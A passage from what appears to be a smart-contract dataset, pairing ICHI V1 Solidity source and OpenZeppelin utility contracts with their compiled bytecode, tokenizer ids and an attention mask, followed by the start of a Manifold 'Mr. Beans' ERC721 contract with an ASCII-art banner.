return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "../oz_modified/ICHIOwnable.sol";
import "../oz_modified/ICHIInitializable.sol";
import "../interface/IERC20Extended.sol";
import "../interface/IICHICommon.sol";
contract ICHICommon is IICHICommon, ICHIOwnable, ICHIInitializable {
uint256 constant PRECISION = 10 ** 18;
uint256 constant INFINITE = uint256(0-1);
address constant NULL_ADDRESS = address(0);
// @dev internal fingerprints help prevent deployment-time governance errors
bytes32 constant COMPONENT_CONTROLLER = keccak256(abi.encodePacked("ICHI V1 Controller"));
bytes32 constant COMPONENT_VERSION = keccak256(abi.encodePacked("ICHI V1 OneToken Implementation"));
bytes32 constant COMPONENT_STRATEGY = keccak256(abi.encodePacked("ICHI V1 Strategy Implementation"));
bytes32 constant COMPONENT_MINTMASTER = keccak256(abi.encodePacked("ICHI V1 MintMaster Implementation"));
bytes32 constant COMPONENT_ORACLE = keccak256(abi.encodePacked("ICHI V1 Oracle Implementation"));
bytes32 constant COMPONENT_VOTERROLL = keccak256(abi.encodePacked("ICHI V1 VoterRoll Implementation"));
bytes32 constant COMPONENT_FACTORY = keccak256(abi.encodePacked("ICHI OneToken Factory"));
}
// SPDX-License-Identifier: MIT
/**
* @dev Constructor visibility has been removed from the original.
* _transferOwnership() has been added to support proxied deployments.
* Abstract tag removed from contract block.
* Added interface inheritance and override modifiers.
* Changed contract identifier in require error messages.
*/
pragma solidity >=0.6.0 <0.8.0;
import "../_openzeppelin/utils/Context.sol";
import "../interface/IICHIOwnable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract ICHIOwnable is IICHIOwnable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "ICHIOwnable: caller is not the owner");
_;
}
/**
* @dev Initializes the contract setting the deployer as the initial owner.
* Ineffective for proxied deployed. Use initOwnable.
*/
constructor() {
_transferOwnership(msg.sender);
}
/**
@dev initialize proxied deployment
*/
function initOwnable() internal {
require(owner() == address(0), "ICHIOwnable: already initialized");
_transferOwnership(msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual override returns (address) {
return _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual override onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual override onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev be sure to call this in the initialization stage of proxied deployment or owner will not be set
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "ICHIOwnable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "../_openzeppelin/utils/Address.sol";
contract ICHIInitializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "ICHIInitializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
modifier initialized {
require(_initialized, "ICHIInitializable: contract is not initialized");
_;
}
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x608060405234801561001057600080fd5b50600436106101375760003560e01c80638da5cb5b116100b8578063bc197c811161007c578063bc197c8114610522578063caa6241f14610649578063e1c7392a14610675578063e735b48a1461067d578063f23a6e6114610721578063f2fde38b146107b457610137565b80638da5cb5b146104de578063910ed6ec14610502578063a2729c231461050a578063a27eccc114610512578063b5966db81461051a57610137565b80635775029f116100ff5780635775029f146104655780635937caf01461047f57806361461954146104a55780636465e69f146104ad578063715018a6146104d657610137565b806301ffc9a71461013c578063150b7a02146101775780632224fa2514610258578063310ec4a71461040b5780634e68897e14610439575b600080fd5b6101636004803603602081101561015257600080fd5b50356001600160e01b0319166107da565b604080519115158252519081900360200190f35b61023b6004803603608081101561018d57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b8111156101c757600080fd5b8201836020820111156101d957600080fd5b803590602001918460018302840111600160201b831117156101fa57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061082c945050505050565b604080516001600160e01b03199092168252519081900360200190f35b6103966004803603608081101561026e57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561029d57600080fd5b8201836020820111156102af57600080fd5b803590602001918460018302840111600160201b831117156102d057600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561032257600080fd5b82018360208201111561033457600080fd5b803590602001918460018302840111600160201b8311171561035557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610855945050505050565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d05781810151838201526020016103b8565b50505050905090810190601f1680156103fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104376004803603604081101561042157600080fd5b506001600160a01b038135169060200135610a3c565b005b6104376004803603604081101561044f57600080fd5b506001600160a01b038135169060200135610c1a565b61046d610d83565b60408051918252519081900360200190f35b6101636004803603602081101561049557600080fd5b50356001600160a01b0316610dcd565b610437610fc2565b6104b561111f565b604051808260048111156104c557fe5b815260200191505060405180910390f35b610437611143565b6104e66111eb565b604080516001600160a01b039092168252519081900360200190f35b6101636111fa565b6104e6611365565b6104e6611389565b610396611398565b61023b600480360360a081101561053857600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561056b57600080fd5b82018360208201111561057d57600080fd5b803590602001918460208302840111600160201b8311171561059e57600080fd5b919390929091602081019035600160201b8111156105bb57600080fd5b8201836020820111156105cd57600080fd5b803590602001918460208302840111600160201b831117156105ee57600080fd5b919390929091602081019035600160201b81111561060b57600080fd5b82018360208201111561061d57600080fd5b803590602001918460018302840111600160201b8311171561063e57600080fd5b509092509050611425565b6104376004803603604081101561065f57600080fd5b506001600160a01b038135169060200135611452565b6104376115b7565b6104376004803603602081101561069357600080fd5b810190602081018135600160201b8111156106ad57600080fd5b8201836020820111156106bf57600080fd5b803590602001918460018302840111600160201b831117156106e057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611672945050505050565b61023b600480360360a081101561073757600080fd5b6001600160a01b03823581169260208101359091169160408201359160608101359181019060a081016080820135600160201b81111561077657600080fd5b82018360208201111561078857600080fd5b803590602001918460018302840111600160201b831117156107a957600080fd5b5090925090506117d1565b610437600480360360208110156107ca57600080fd5b50356001600160a01b03166117fc565b60006001600160e01b03198216630271189760e51b148061080b57506001600160e01b031982166301ffc9a760e01b145b8061082657506001600160e01b03198216630a85bd0160e11b145b92915050565b7f7a96b0f30c2e992d695271deb1e74e59e2e451c2c56d09bf76dc815ba9062824949350505050565b606061085f611866565b6001600160a01b03166108706111eb565b6001600160a01b0316146108b55760405162461bcd60e51b81526004018080602001828103825260248152602001806120606024913960400191505060405180910390fd5b60608351600014156108c857508161094b565b83805190602001208360405160200180836001600160e01b031916815260040182805190602001908083835b602083106109135780518252601f1990920191602091820191016108f4565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600080876001600160a01b031687846040518082805190602001908083835b602083106109895780518252601f19909201916020918201910161096a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146109eb576040519150601f19603f3d011682016040523d82523d6000602084013e6109f0565b606091505b509150915081610a315760405162461bcd60e51b815260040180806020018281038252603f8152602001806120dc603f913960400191505060405180910390fd5b979650505050505050565b6002546001600160a01b03163314610b9757600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9c57600080fd5b505afa158015610ab0573d6000803e3d6000fd5b505050506040513d6020811015610ac657600080fd5b50516001600160a01b03163314610b9757600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2557600080fd5b505afa158015610b39573d6000803e3d6000fd5b505050506040513d6020811015610b4f57600080fd5b50516001600160a01b03163314610b975760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b80610ba157506000195b600254610bbc906001600160a01b038481169116600061186a565b600254610bd6906001600160a01b0384811691168361186a565b6040805182815290516001600160a01b0384169133917f667b90566f78a7a406a133b1a8b9e1a3c9c0bef9a7e394b89ed9e0bd4fb0369f9181900360200190a35050565b6002546001600160a01b03163314610d7557600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7a57600080fd5b505afa158015610c8e573d6000803e3d6000fd5b505050506040513d6020811015610ca457600080fd5b50516001600160a01b03163314610d7557600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0357600080fd5b505afa158015610d17573d6000803e3d6000fd5b505050506040513d6020811015610d2d57600080fd5b50516001600160a01b03163314610d755760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b610d7f8282611982565b5050565b60405160200180807f4943484920563120537472617465677920496d706c656d656e746174696f6e00815250601f0190506040516020818303038152906040528051906020012081565b6002546000906001600160a01b03163314610f2b57600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3057600080fd5b505afa158015610e44573d6000803e3d6000fd5b505050506040513d6020811015610e5a57600080fd5b50516001600160a01b03163314610f2b57600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610eb957600080fd5b505afa158015610ecd573d6000803e3d6000fd5b505050506040513d6020811015610ee357600080fd5b50516001600160a01b03163314610f2b5760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b600190506000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015610f7e57600080fd5b505afa158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b505190508015610fbc57610fbc8382611982565b50919050565b6002546001600160a01b0316331461111d57600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b15801561102257600080fd5b505afa158015611036573d6000803e3d6000fd5b505050506040513d602081101561104c57600080fd5b50516001600160a01b0316331461111d57600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ab57600080fd5b505afa1580156110bf573d6000803e3d6000fd5b505050506040513d60208110156110d557600080fd5b50516001600160a01b0316331461111d5760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b565b7f000000000000000000000000000000000000000000000000000000000000000281565b61114b611866565b6001600160a01b031661115c6111eb565b6001600160a01b0316146111a15760405162461bcd60e51b81526004018080602001828103825260248152602001806120606024913960400191505060405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6002546000906001600160a01b0316331461135857600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b15801561125d57600080fd5b505afa158015611271573d6000803e3d6000fd5b505050506040513d602081101561128757600080fd5b50516001600160a01b0316331461135857600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156112e657600080fd5b505afa1580156112fa573d6000803e3d6000fd5b505050506040513d602081101561131057600080fd5b50516001600160a01b031633146113585760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b6113606119e0565b905090565b7f000000000000000000000000d0092632b9ac5a7856664eec1abb6e3403a6a36a81565b6002546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561141d5780601f106113f25761010080835404028352916020019161141d565b820191906000526020600020905b81548152906001019060200180831161140057829003601f168201915b505050505081565b7fbc197c819b3e337a6f9652dd10becd7eef83032af3b9d958d3d42f669414662198975050505050505050565b6002546001600160a01b031633146115ad57600260009054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b1580156114b257600080fd5b505afa1580156114c6573d6000803e3d6000fd5b505050506040513d60208110156114dc57600080fd5b50516001600160a01b031633146115ad57600260009054906101000a90046001600160a01b03166001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561153b57600080fd5b505afa15801561154f573d6000803e3d6000fd5b505050506040513d602081101561156557600080fd5b50516001600160a01b031633146115ad5760405162461bcd60e51b815260040180806020018281038252602e8152602001806120ae602e913960400191505060405180910390fd5b610d7f8282611af6565b6002546001600160a01b031633146116005760405162461bcd60e51b815260040180806020018281038252603181526020018061211b6031913960400191505060405180910390fd5b600254611618906001600160a01b031680600061186a565b600254611631906001600160a01b03168060001961186a565b600254604080516001600160a01b039092168252517f6da543b7e069e739aceab0666be4461aee5c928be612f2a07b8c3a04f8b6aef29181900360200190a1565b61167a611866565b6001600160a01b031661168b6111eb565b6001600160a01b0316146116d05760405162461bcd60e51b81526004018080602001828103825260248152602001806120606024913960400191505060405180910390fd5b60008151116117105760405162461bcd60e51b815260040180806020018281038252602d81526020018061200d602d913960400191505060405180910390fd5b8051611723906001906020840190611f6b565b507f37cc8c6ced0cbc4d440fcfa810a2f09f40b8f0127c3656103edf26b3d93e0ec1338260405180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561179357818101518382015260200161177b565b50505050905090810190601f1680156117c05780820380516001836020036101000a031916815260200191505b50935050505060405180910390a150565b7ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf979695505050505050565b611804611866565b6001600160a01b03166118156111eb565b6001600160a01b03161461185a5760405162461bcd60e51b81526004018080602001828103825260248152602001806120606024913960400191505060405180910390fd5b61186381611b55565b50565b3390565b8015806118f0575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156118c257600080fd5b505afa1580156118d6573d6000803e3d6000fd5b505050506040513d60208110156118ec57600080fd5b5051155b61192b5760405162461bcd60e51b81526004018080602001828103825260368152602001806121766036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261197d908490611bf5565b505050565b60025461199c906001600160a01b03848116911683611ca6565b6040805182815290516001600160a01b0384169133917f8c35b638c65da6f9fc25ab3629859aee55ae216ad0a2a5a25380bb272515a4ab9181900360200190a35050565b60025460408051633abf9e9d60e21b815290516001926000926001600160a01b039091169163eafe7a7491600480820192602092909190829003018186803b158015611a2b57600080fd5b505afa158015611a3f573d6000803e3d6000fd5b505050506040513d6020811015611a5557600080fd5b5051905060005b81811015611af1576002546040805163262a0ab360e11b81526004810184905290516000926001600160a01b031691634c541566916024808301926020929190829003018186803b158015611ab057600080fd5b505afa158015611ac4573d6000803e3d6000fd5b505050506040513d6020811015611ada57600080fd5b50519050611ae781610dcd565b5050600101611a5c565b505090565b600254611b11906001600160a01b0384811691163084611cf8565b6040805182815290516001600160a01b0384169133917ff2f5ddbff4ce2ccb51d4d3e63c2c18fda658a53200aa4ffed328b0eaac171f189181900360200190a35050565b6001600160a01b038116611b9a5760405162461bcd60e51b815260040180806020018281038252602a815260200180612084602a913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611c4a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611d589092919063ffffffff16565b80519091501561197d57808060200190516020811015611c6957600080fd5b505161197d5760405162461bcd60e51b815260040180806020018281038252602a81526020018061214c602a913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261197d908490611bf5565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611d52908590611bf5565b50505050565b6060611d678484600085611d71565b90505b9392505050565b606082471015611db25760405162461bcd60e51b815260040180806020018281038252602681526020018061203a6026913960400191505060405180910390fd5b611dbb85611ec1565b611e0c576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310611e4a5780518252601f199092019160209182019101611e2b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611eac576040519150601f19603f3d011682016040523d82523d6000602084013e611eb1565b606091505b5091509150610a31828286611ec7565b3b151590565b60608315611ed6575081611d6a565b825115611ee65782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f30578181015183820152602001611f18565b50505050905090810190601f168015611f5d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fa15760008555611fe7565b82601f10611fba57805160ff1916838001178555611fe7565b82800160010185558215611fe7579182015b82811115611fe7578251825591602001919060010190611fcc565b50611ff3929150611ff7565b5090565b5b80821115611ff35760008155600101611ff856fe494348494d6f64756c65436f6d6d6f6e3a206465736372697074696f6e2063616e6e6f7420626520656d707479416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c494348494f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572494348494f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735374726174656779436f6d6d6f6e3a206e6f7420746f6b656e20636f6e74726f6c6c6572206f72206f776e65722e4f6e65546f6b656e56313a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e5374726174656779436f6d6d6f6e3a20696e697469616c697a652066726f6d206f6e65546f6b656e20696e7374616e63655361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212200b3e3a76d709997b4386faa36b2366bdf7742c0dff9a1b8493a90ebbe87630ca64736f6c63430007060033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2692,
2581,
11329,
2620,
16703,
16086,
2683,
18939,
2692,
2278,
2620,
2278,
15136,
21926,
27814,
8889,
2497,
2549,
2546,
2575,
16576,
24594,
20958,
2278,
2575,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
3902,
2140,
1011,
1015,
1012,
1015,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1021,
1012,
1020,
1025,
12324,
1000,
1012,
1012,
1013,
5656,
9006,
8202,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
14526,
24087,
1013,
29464,
11890,
14526,
24087,
2890,
3401,
16402,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
2890,
3401,
16402,
1012,
14017,
1000,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,539 | 0x9550b89e78e96a3b63975f4afcc6773861e48335 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Mr. Beans
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββ£ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββ£β«βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββ£β’βββββββββββββββββ’ββββββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββ’βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββ£βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββββββ£ββββββββββ£β’ββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββββββββββββββββββ’β«ββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββ’βββββ’β£βββ£ββ’β’ββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββββ£β£β£β’β’β£β’β£β£β’β’β£β’β’β’β«ββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββ’βββ’β£β’β’β’β’β£β£β’β’β’β£β£ββ’βββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββββ«β£ββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββββββββββββββββ£βββββββββββββββββββββββββββββββββββββββββββ //
// βββββββββββββββββββββββ£β£β£β£β’ββββββ’ββββ£βββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββ’ββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββ@βββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ //
// //
// --- //
// asciiart.club //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////
contract BEANS is ERC721Creator {
constructor() ERC721Creator("Mr. Beans", "BEANS") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
